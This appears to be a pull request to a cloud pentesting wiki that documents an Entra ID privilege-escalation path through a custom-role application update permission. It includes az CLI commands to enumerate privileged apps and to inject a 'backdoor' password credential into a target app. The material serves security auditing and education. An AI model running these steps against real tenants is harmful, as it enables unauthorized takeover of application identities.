Add applications.myOrganization/allProperties/update privesc technique

## Summary

Adds a new privilege escalation technique to the EntraID privesc page, covering `microsoft.directory/applications.myOrganization/allProperties/update`.

This permission is not present in any built-in role but commonly appears in custom roles delegated to application teams under the assumption that the `.myOrganization` subtype scopes the action to internal-only apps. Since `allProperties` includes `passwordCredentials` and `keyCredentials`, the permission is functionally equivalent to credential-injection capability against every single-tenant app in the tenant.

## Why this matters

The existing page already documents `applications/credentials/update`. The new section complements it by surfacing the custom-role-scoped variant, which is underdocumented and easy to miss during privileged-role audits, admins filter on built-in privileged roles and miss custom roles carrying this single action.

## Testing

The full attack chain was reproduced end-to-end in an isolated Microsoft 365 Business Premium trial tenant:

      1. Created a custom role with `applications.myOrganization/allProperties/update` as the only action.
      2. Assigned it to a non-privileged victim user.
      3. From the victim's session, ran the documented commands to inject a credential into a target single-tenant app and successfully authenticated as the application via `az login --service-principal`.

## References

  - https://learn.microsoft.com/entra/identity/role-based-access-control/custom-available-permissions
  - https://learn.microsoft.com/entra/identity/role-based-access-control/permissions-reference
  - https://learn.microsoft.com/graph/api/application-addpassword

Author: marcgoam

src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md

@@ -65,6 +65,43 @@ az ad app credential reset --id <appId> --append
 az ad app credential reset --id <appId> --create-cert
 ```
 
+### `microsoft.directory/applications.myOrganization/allProperties/update`
+
+This permission grants update to **every writable property** of any **single-tenant** application registration (`signInAudience = AzureADMyOrg`), including `passwordCredentials` and `keyCredentials`. It is marked `IsPrivileged: true` in the catalog but is **not** present in any built-in role — it shows up almost exclusively in **custom roles** an admin creates to delegate "manage our internal apps" without realizing the subtype `.myOrganization` happens to scope the action onto exactly the set of apps most likely to hold privileged Microsoft Graph permissions.
+
+- Enumerate apps with privileged Microsoft Graph permissions consented:
+
+```bash
+# SPs with at least one Microsoft Graph app role assigned
+GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
+az rest --method GET \
+  --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
+  --query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
+  -o table
+
+# Resolve a RoleId to the human-readable permission name
+az ad sp show --id 00000003-0000-0000-c000-000000000000 \
+  --query "appRoles[?id=='<RoleId>'].value" -o tsv
+```
+
+- Confirm the target is single-tenant (inside the `.myOrganization` subtype scope):
+
+```bash
+az rest --method GET \
+  --uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')" \
+  --query "{audience:signInAudience, name:displayName}"
+# audience must be "AzureADMyOrg"
+```
+
+- Inject a credential into the target app — the only privileged step in the chain:
+
+```bash
+az rest --method POST \
+  --uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')/addPassword" \
+  --headers "Content-Type=application/json" \
+  --body '{"passwordCredential":{"displayName":"backdoor"}}'
+```
+
 ### `microsoft.directory/applications.myOrganization/credentials/update`
 
 This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications.